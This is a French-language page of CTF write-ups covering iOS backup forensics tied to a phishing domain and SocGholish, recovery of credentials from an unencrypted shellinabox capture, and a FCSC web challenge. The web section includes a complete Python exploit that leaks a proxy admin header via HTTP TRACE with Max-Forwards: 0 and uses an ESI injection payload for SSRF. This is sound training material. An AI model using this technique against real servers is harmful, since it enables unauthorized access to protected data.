Write rieview✍️ Rezension schreiben✍️ Get Badge!🏷️ Abzeichen holen!🏷️ Edit entry⚙️ Eintrag bearbeiten⚙️ News📰 Neuigkeiten📰
Tags: writeups
08223 Falkenstein, DE Germany, EU Europe, latitude: 50.4777, longitude: 12.3649
Des activités suspectes ont été observées sur le téléphone d'un utilisateur qui a été contacté par CASTEM. CASTEM aurait demandé à l'utilisateur de mettre à jour son chrome sur son téléphone IOS mais celui-ci n'a pas vraiment bien copier coller l'URL malveillante ce qui fait qu'il n'a pas été compromis. Néanmoins une enquête de votre part est nécessaire pour comprendre l'architecture des attaquants et leur mode opératoire.
Pour valider le flag vous devez réunir :
- Le SSID sur lequel notre utilisateur était connecté
- L'URL que notre utilisateur aurait dû taper directement dans son navigateur
- Le nom de l'AS qui adresse cet URL/IP
- La famille du malware delivré
Exemple de flag : interiut{BBOX 1111:monctfpref.fr:cloudflare:pegasus}
Pour ce challenge de Forensic, il nous est fourni un dossier de sauvegarde iTunes.
Le dossier est composé comme ceci:
$ tree
.
├── 033dffb4beafa4daa8ffe7e00c5426b38889e060
│ ├── 00
│ │ └── 00fd0bb48de5532cc09363c12571a090316205f5
│ ├── 01
│ │ ├── 012707a2ae34d77a28b16a9e443b780ea4e6b0aa
│ │ └── 01a14737bf725839e60201704f5e0447e23800a6
│ ├── 02
│ │ └── 02dcc29d169dda989f3402fe07d8b6526d6fb1ac
│ ├── 03
│ ├── 04
│ │ └── 04ec47c2b38b390219c2c7f245f76f2afb948a1e
│ ├── 05
│ │ ├── 051b560a86376b4644f8bc51d4a7cb41207478da
│ │ ├── 05575c8bd920efae4ffc54c0e25e9981952c5ec2
│ │ ├── 056e8db520405669943b7acac46f1af2354fa0ba
│ │ ├── 059a3fed6d5ccc69ca5d214766d91eb2964787ef
│ │ └── 05fc8de89f9a5c214ca28aedfc4e669f92f91ab1
[...]
│ ├── 9e
│ │ ├── 9e1b3356b10ac38436206af45e16ee1e33469647
│ │ ├── 9e589bea48c0cd3b1c324b5d88eb070d23ed805b
│ │ ├── 9e7b521f0e73ad31dddc91aedaeb775a2c34fccb
│ │ └── 9ec3b0886ef6ebd8e58dab34c4c69ea37fc92d81
│ ├── 9f
│ ├── Info.plist
│ ├── Manifest.db
│ ├── Manifest.db-shm
│ ├── Manifest.db-wal
│ ├── Manifest.plist
│ ├── Status.plist
│ ├── a0
│ │ ├── a053bdbe56366d25c8eb7ba399f11850ac1efbb3
│ │ └── a0a7e0f8da8fc26cc7ec0b151aa4a20c9c29b9fd
│ ├── a1
[..]
│ └── ff
│ ├── ff5e8048363b2491195c932e3152baf423eedb3d
│ └── ff8fcf3dde9e81360b6ba51f0ea27c47b7e87844
└── backup_ios.zipDans le fichier Info.plist on peut voir quelques informations comme le nom du téléphone (donc le nom et le prénom de la personne), la version du téléphone, le modèle, la date de sauvegarde et autres. Le fichier en question est le suivant:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Applications</key>
<dict/>
<key>Build Version</key>
<string>18A373</string>
<key>Device Name</key>
<string>iPhone de Foulie Aymeric</string>
<key>Devices Version</key>
<string>1.5.4.88</string>
<key>Display Name</key>
<string>iPhone de Foulie Aymeric</string>
<key>GUID</key>
<string>BBCCED752B3E7917F29E3D62789C6772</string>
<key>IMEI</key>
<string>356081092598002</string>
<key>Installed Applications</key>
<array/>
<key>Last Backup Date</key>
<date>2025-04-29T20:05:06Z</date>
<key>Product Name</key>
<string>iPhone 8</string>
<key>Product Type</key>
<string>iPhone10,4</string>
<key>Product Version</key>
<string>14.0</string>
<key>Serial Number</key>
<string>F4HWW1NNJC67</string>
<key>Target Identifier</key>
<string>033dffb4beafa4daa8ffe7e00c5426b38889e060</string>
<key>Target Type</key>
<string>Device</string>
<key>Unique Identifier</key>
<string>033dffb4beafa4daa8ffe7e00c5426b38889e060</string>
<key>Windows OS Version</key>
<string>Windows 10.0.26100 x64</string>
<key>iTunes Files</key>
<dict>
<!-- Partie longue et peu utile -->
</dict>
<key>iTunes Settings</key>
<dict/>
</dict>
</plist>On trouve donc ici le nom et le prénom du propriétaire: Aymeric Foulie.
Pour poursuivre l'analyse plus en profondeur, j'utilise Autopsy avec le plugin iOSDeviceDataExtractor, permettant de reconstruire les fichiers systèmes iOS, pouvant ensuite être analysés avec le module iOS Analyzer de Autopsy.
Au moment de la création de la source de données, je sélectionne donc le type de source fournie par le plugin et je clique sur suivant.
Ensuite, je sélectionne mon dossier de sauvegarde:
Je n’ai plus qu’à finaliser l’ajout.
On peut maintenant voir dans Autopsy que l’extension a reconstitué les chemins iOS à partir du dossier de sauvegarde.
Grâce à Autopsy nous avons obtenu certaines informations remontées dont l'historique de recherches internet.
Malheureusement ici Autopsy n’a pas trouvé les données des réseaux Wi-Fi connus par le téléphone, il nous faudra donc rechercher cette information manuellement. En faisant une requête sur la base de données principale de la sauvegarde Manifest.db, on trouve les fichiers associés aux configurations réseau:
On récupère donc ainsi le fileID de la base de données des réseaux connus pour ensuite pouvoir la lire ainsi:
$ plistutil -i 0f/0fa75546343ba224c9fe55adc73e8fdedc1029c3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>wifi.network.ssid.Galaxy S22+9974</key>
<dict>
<key>AddReason</key>
<string>WiFi Settings</string>
<key>Hidden</key>
<false/>
<key>CaptiveProfile</key>
<dict>
<key>CaptiveNetwork</key>
<false/>
</dict>
<key>LowDataMode</key>
<false/>
<key>SSID</key>
<data>
R2FsYXh5IFMyMis5OTc0
</data>
<key>JoinedByUserAt</key>
<date>2025-03-17T22:47:05Z</date>
<key>__OSSpecific__</key>
<dict>
<key>networkUsage</key>
<real>1653.5564478635788</real>
<key>BSSID</key>
<string>f6:60:21:47:7b:24</string>
<key>AP_MODE</key>
<integer>2</integer>
<key>CHANNEL</key>
<integer>1</integer>
<key>networkKnownBSSListKey</key>
<array>
<dict>
<key>CHANNEL</key>
<integer>1</integer>
<key>lastRoamed</key>
<date>2025-03-13T10:46:28Z</date>
<key>BSSID</key>
<string>f6:60:21:47:7b:24</string>
<key>CHANNEL_FLAGS</key>
<integer>10</integer>
</dict>
</array>
<key>prevJoined</key>
<date>2025-03-13T07:55:30Z</date>
<key>WiFiNetworkAttributeIsMoving</key>
<false/>
<key>WiFiNetworkAttributeProminentDisplay</key>
<true/>
<key>WiFiNetworkAttributeIsKnown</key>
<true/>
<key>BEACON_PROBE_INFO_PER_BSSID_LIST</key>
<array>
<dict>
<key>BSSID</key>
<string>f6:60:21:47:7b:24</string>
<key>OTA_SYSTEM_INFO_SENT</key>
<false/>
<key>OTA_SYSTEM_INFO_BEACON_ONLY_SENT</key>
<true/>
</dict>
</array>
<key>DiagnosticsBssEnv</key>
<integer>1</integer>
<key>WiFiNetworkPasswordModificationDate</key>
<date>2025-03-13T07:48:18Z</date>
</dict>
<key>JoinedBySystemAt</key>
<date>2025-03-13T10:46:28Z</date>
<key>SupportedSecurityTypes</key>
<string>WPA2 Personal</string>
<key>AddedAt</key>
<date>2025-03-13T07:48:18Z</date>
<key>UpdatedAt</key>
<date>2025-03-17T22:47:05Z</date>
</dict>
</dict>
</plist>On y trouve donc la première information demandée par le challenge, le SSID sur lequel l'utilisateur était connecté: Galaxy S22+9974.
Revenons à Autopsy pour trouver le nom du site que l’utilisateur a recherché. Dans les "Data Artifacts" puis "Web Search" on trouve donc le site web que l’utilisateur a recherché sur son téléphone:
Nous obtenons ainsi la deuxième information, l'URL que notre utilisateur aurait dû taper directement dans son navigateur: playstores-france.com.
À partir de cette URL, nous devons donc trouver le nom de l’AS auquel elle est rattachée et la famille de malware délivrée par celui-ci. Pour ce faire, nous devons dans un premier temps trouver l'IP du serveur avec un dig par exemple:
$ dig @8.8.8.8 playstores-france.com
; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> @8.8.8.8 playstores-france.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18431
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e6fd8145269cd2fb9d89a9e46834542ac096accccec4f7bd (good)
;; QUESTION SECTION:
;playstores-france.com. IN A
;; ANSWER SECTION:
playstores-france.com. 21569 IN A 91.212.166.21
;; Query time: 9 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Mon May 26 13:44:43 CEST 2025
;; MSG SIZE rcvd: 94Une fois celle-ci récupérée, nous pouvons essayer de trouver plus d'informations sur l'IP avec des sites comme ipinfo.io qui peut être utilisé comme ceci en ligne de commandes:
$ curl ipinfo.io/91.212.166.21
{
"ip": "91.212.166.21",
"city": "Saint Petersburg",
"region": "St.-Petersburg",
"country": "RU",
"loc": "59.9386,30.3141",
"org": "AS198953 Proton66 OOO",
"postal": "195213",
"timezone": "Europe/Moscow",
"readme": "https://ipinfo.io/missingauth"
}On voit ici que l'IP en question fait partie de l'AS: Proton66.
Maintenant que nous avons cette troisième information, il ne nous reste plus qu'à trouver la famille de malwares que distribue cet AS. Pour ce faire, ma première idée a été de chercher l'IP sur le site VirusTotal.
Le site détecte évidemment cette IP comme malicieuse:
Puis, en navigant dans l'onglet "Community" je tombe sur plusieurs personnes faisant référence au malware SocGholish, car il est visiblement délivré par des serveurs de cet AS.
Nous avons donc maintenant toutes nos informations:
- SSID: Galaxy S22+9974
- URL: playstores-france.com
- AS: Proton66
- MALWARE: SocGholish
On peut maintenant valider l'épreuve avec le flag mis en forme.
FLAG:
interiut{Galaxy S22+9974:playstores-france.com:proton66:socgholish}
Ce challenge est divisé en trois parties de niveaux différents :
- Le premier est de niveau Moyen
- Le deuxième et le troisième sont de niveau Facile
Dans un premier temps, nous devons trouver les informations suivantes à partir d'une capture réseau:
- Le nom de l'application web qu'ils utilisent pour interagir avec leur serveur distant
- Nom d’utilisateur
- Mot de passe
- IP du serveur distant
- Le nom de domaine associé
- Hostname
En ouvrant la capture réseau nous remarquons beaucoup de paquets HTTP. La partie intéressante commence à la trame n°7937 quand la machine cliente fait une requête DNS vers le nom ec2-3-95-168-43.compute-1.amazonaws.com.
Quelques lignes plus tard nous voyons des échanges HTTP entre la machine cliente et le serveur en question 3.95.168.43. Dans celles-ci nous remarquons la mention à un applicatif nommé shellinabox.
Cette application sert à interagir avec un serveur via un terminal accessible par le web. Étant donné que l'application n'est pas protégée par une surcouche SSL (certificat SSL/TLS), nous pouvons accéder à l'intégralité des données qui sont transmises par le client vers le serveur web et inversement.
À cette étape, nous distinguons deux streams tcp importants:
- tcp.stream eq 96 => Stream où le client envoie les touches qu'il presse.
- tcp.stream eq 101 => Stream où le serveur envoie les données qui sont à afficher sur le client web.
En suivant les trames HTTP du second stream mentionné, on voit toutes les données affichées sur le terminal. Au début du stream on remarque l'une des informations que nous cherchons: le hostname du serveur.
Des informations nécessaires, il ne nous manque plus que les identifiants (identifiant et mot de passe). En parcourant ce thread, on voit que les données retournées par le serveur dans le champ "data" sont les lettres entrées par l'utilisateur dans le terminal.
En les mettant les unes à la suite des autres, on obtient ce nom d'utilisateur: eclide.
Puis, en récupérant le codes des touches pressées par l'utilisateur dans le stream 96, on reconstitue la valeur du mot de passe: D7i_#!posil!.
Pour résumer, nous avons donc recueilli toutes ces informations:
- Le nom de l'application web: shellinabox
- Nom d'utilisateur: eclide
- Son mot de passe: D7i_#!posil!
- IP du serveur distant: 3.95.168.43
- Le nom de domaine associé: ec2-3-95-168-43.compute-1.amazonaws.com
- Hostname: Nore-Castem-BASTION
En remettant ces informations bout à bout au bon format, on trouve le flag.
FLAG 1/3:
interiut{shellinabox_eclide_D7i_#!posil!_3.95.168.43_ec2-3-95-168-43.compute-1.amazonaws.com_Nore-Castem-BASTION}
Pour la seconde partie, il nous est donc demandé de trouver le nom et le contenu du fichier lu par l'utilisateur sur le serveur distant.
En parcourant le stream 96, on voit que l'utilisateur tape sur les touches:
c a t [Espace] v a [Tab] [Entrée]En recoupant les touches pressées par l'utilisateur et les données d'affichage renvoyées par le serveur, on reconstitue la trame de ce qui a été fait.
On reconstitue donc le nom du fichier: vault.txt.
Juste après la complétion de la fin du fichier, on trouve la donnée "\r\n" qui correspond à un retour à la ligne (touch entrée). Puis, à la réponse du serveur suivante, on trouve le contenu du fichier et le prompt pour la prochaine commande.
On trouve donc le contenu: Dk_Dc!#dsq950.
FLAG 2/3:
interiut{vault.txt_Dk_Dc!#dsq950}
Pour cette troisième et dernière partie, il nous est fourni un fichier "suspect". Après un file sur ce fichier, on voit que c'est un fichier de type "LUKS encrypted file,".
$ file suspicious_data
suspicious_data: LUKS encrypted file, ver 2 [, , sha256] UUID: 6b17d5b0-16e9-4ae0-af82-d0becd1d13bdPour monter ce fichier, j'utilise d'abord ces commandes:
sudo losetup --find --show suspicious_data
sudo cryptsetup luksOpen /dev/loop17 decrypted_suspiciousÀ cette étape il m'est demandé une passphrase. En reprenant les informations trouvées à la partie précédente, j'essaye le contenu du fichier "vault.txt": Dk_Dc!#dsq950.
Avec cette passphrase je n'obtiens pas d'erreur. Je peux donc ensuite le monter dans un dossier comme /mnt/suspicious:
sudo mkdir -p /mnt/suspicious
sudo mount /dev/mapper/decrypted_suspicious /mnt/suspiciousDans ce dossier, je ne trouve qu'un fichier "chat.jpg" d'apparence banale:
J'effectue un exiftool sur l'image et j'obtiens le flag:
$ exiftool chat.jpg
ExifTool Version Number : 12.40
File Name : chat.jpg
Directory : .
File Size : 4.2 MiB
File Modification Date/Time : 2025:05:16 10:23:33+02:00
File Access Date/Time : 2025:05:25 13:09:58+02:00
File Inode Change Date/Time : 2025:05:16 10:23:33+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Current IPTC Digest : f3ccc7862d516e90ea39811bf6850c8e
Copyright Notice : Bien joué ! interiut{QU1_U7i1i53_3NC0r3_sH311iN80XD?}
Application Record Version : 4
Image Width : 3024
Image Height : 4032
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 3024x4032
Megapixels : 12.2FLAG:
interiut{QU1_U7i1i53_3NC0r3_sH311iN80XD?}
Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.
Le code de cette application se compose de trois conteneurs Docker.
- Le premier est un conteneur Express.js qui fait tourner une application web permettant la gestion de tâches.
- Le deuxième est un conteneur Apache qui sert de reverse proxy vers l'application Express.js.
- Le troisième et dernier conteneur est un service Varnish, qui sert également de reverse proxy et faisant la distinction entre deux services: le host give_me_the_flag qui redirige vers un service donnant le flag, et un autre backend pour toutes les autres valeurs de host, représentant l'application de gestion de tâches.
Pour résumé, voilà un schéma avec toutes les redirections :
En se connectant sur le service, nous n'avons accès qu'à l'endpoint "root".
Cela s'explique par la surcouche sécuritaire ajoutée par Varnish, qui définit un header "X-Admin-Key" qui transite entre le service Varnish et serveur Express.js, en passant par le reverse proxy Apache.
Au début du code Express.js, le header est checké. S'il n'est pas présent, une erreur 403 est retournée.
// ...
app.use((req, res, next) => {
const adminKey = req.headers["x-admin-key"];
if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
return res.status(403).json({ error: "Unauthorized access" });
}
next();
});
// ...
Côté Varnish, nous avons cet entrypoint:
/bin/cat > /etc/varnish/default.vcl << EOF
vcl 4.0;
backend default {
.host = "taskvault-apache2";
.port = "8000";
}
backend flag_backend {
.host = "taskvault-app";
.port = "1337";
}
sub vcl_backend_fetch {
if (bereq.http.host == "give_me_the_flag") {
set bereq.backend = flag_backend;
} else {
set bereq.backend = default;
}
}
sub vcl_recv {
if (req.url == "/" || req.url == "/favicon.jpeg") {
set req.http.X-Admin-Key = "${ADMIN_KEY}";
}
return(pass);
}
sub vcl_backend_response {
set beresp.do_esi = true;
}
EOF
exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl
Nous voyons ici plusieurs choses intéressantes :
- L'application n'applique le header "X-Admin-Key" que pour "/" et "/favicon.jpeg".
- L'application autorise l'ESI ("Edge Side Includes") pour toutes les réponses.
L'Edge Side Includes est un langage de balisage, similaire au HTML, pour l'assemblage de sites web dynamiques. Concrètement, nous pouvons nous servir de ce langage pour inclure le contenu d'un URL, depuis le serveur web. Si l'utilisateur peut injecter directement du langage ESI, cela peut permettre une SSRF (Server Side Request Forgery), une faille qui force le serveur web à effectuer une requête vers un site web.
Concernant la configuration de Apache, elle est définie par :
ServerAdmin contact@fcsc.fr
ServerName fcsc.fr
<VirtualHost *:8000>
TraceEnable on
ProxyPass / http://taskvault-app:3000/
ProxyPassReverse / http://taskvault-app:3000/
</VirtualHost>
Il n'y a ici pas grand chose à auditer mais nous voyons ici une seule chose intéressante: la méthode "TRACE" est activée sur le reverse proxy.
La méthode "TRACE" sur Apache est une méthode utilisée notamment pour le debug. Elle permet entre autres de retourner à l'utilisateur la valeurs des en-têtes de la requête, de la réponse, etc... Ce genre de détails ne sont jamais laissés au hasard dans les CTF, il est donc surement nécessaire de l'exploiter pour potentiellement leaker les headers qui transitent par Apache.
Sur l'application, je recherche un endroit où les entrées utilisateur ne sont pas échappées et permettrait d'injecter du code ESI. Pour ce faire, je cherche dans les fichiers le motif "<%-" qui signifie que l'entrée n'est pas nettoyée, à contrario du "<%=".
Je trouve un match dans le fichier "views/backlog.ejs" :
$ grep -arin '<%-'
views/backlog.ejs:95: <h3 id="<%- note.title %>" class="text-xl font-bold text-gray-800 mb-2 mt-1"><%= note.title %></h3>
Ici, l'entrée de l'utilisateur correspondante au titre de la note est insérée dans le champ "id" de la balise mais elle n'est pas nettoyée. Ici, une injection ESI est possible du style :
"><esi:payload>
Dans un premier temps, il nous faut hijacker le header "X-Admin-Key". Pour ce faire, nous pouvons exploiter la vulnérabilité présente dans la configuration d'Apache, permettant l'utilisation de la méthode "TRACE". Je teste directement la méthode sur le serveur web :
Nous avons ici une erreur car Apache, recevant la requête "TRACE" la transfère à l'application Express.js, qui refuse la requête car la méthode n'est pas autorisée.
En fouillant la documentation Apache, je trouve une documentation sur le header "Max-Forwards": https://juneau.apache.org/site/apidocs-8.0.0/org/apache/juneau/http/MaxForwards.html.
Avec ce header, nous pouvons préciser le nombre de rebonds maximal qu'il est possible de faire pour une requête passant par des reverse proxy. En précisant cette valeur à 0, nous disons à Apache qu'il n'est plus possible de transférer la requête, et va donc nous répondre un code 200 avec les headers de la requête, transférée entre Varnish et Apache. Par exemple, nous pouvons l'exploiter ainsi pour hijacker le header Admin:
Maintenant que nous avons récupéré la valeur du "X-Admin-Key", nous pouvons faire une requête aux endpoints protégés comme register par exemple.
Je l'ai ajouté à mon navigateur Firefox avec une extension.
Ainsi, je peux maintenant accéder à la page d'inscription et créer un nouveau compte.
Une fois connecté, nous pouvons injecter une balise ESI dans le titre d'une nouvelle note, avec un payload, tel que donné plus haut. Nous allons donc injecter :
"><esi:include src="http://give_me_the_flag/" />
Une fois la note créée avec le payload en titre, on peut retrouver le flag dans l'id du titre de la note :
Maintenant que nous avons la marche à suivre, j'ai créé un script Python pour automatiser la récupération du flag. Le script est le suivant :
import requests
import random
URL = "https://taskvault.fcsc.fr"
def hijack_admin_key():
r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]
def register(admin_key):
data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
return r.headers["Set-Cookie"].split(";")[0].split("=")[1]
def esi_injection(cookie, admin_key) -> None:
data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
cookies = {"connect.sid": cookie}
r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"
def solve():
admin_key = hijack_admin_key()
cookie = register(admin_key)
flag = esi_injection(cookie, admin_key)
print(f"[+] FLAG: {flag}")
if __name__ == "__main__":
solve()
Une fois le script terminé, il ne nous reste plus qu'à l'exécuter pour récupérer le flag.
FLAG:
FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}


















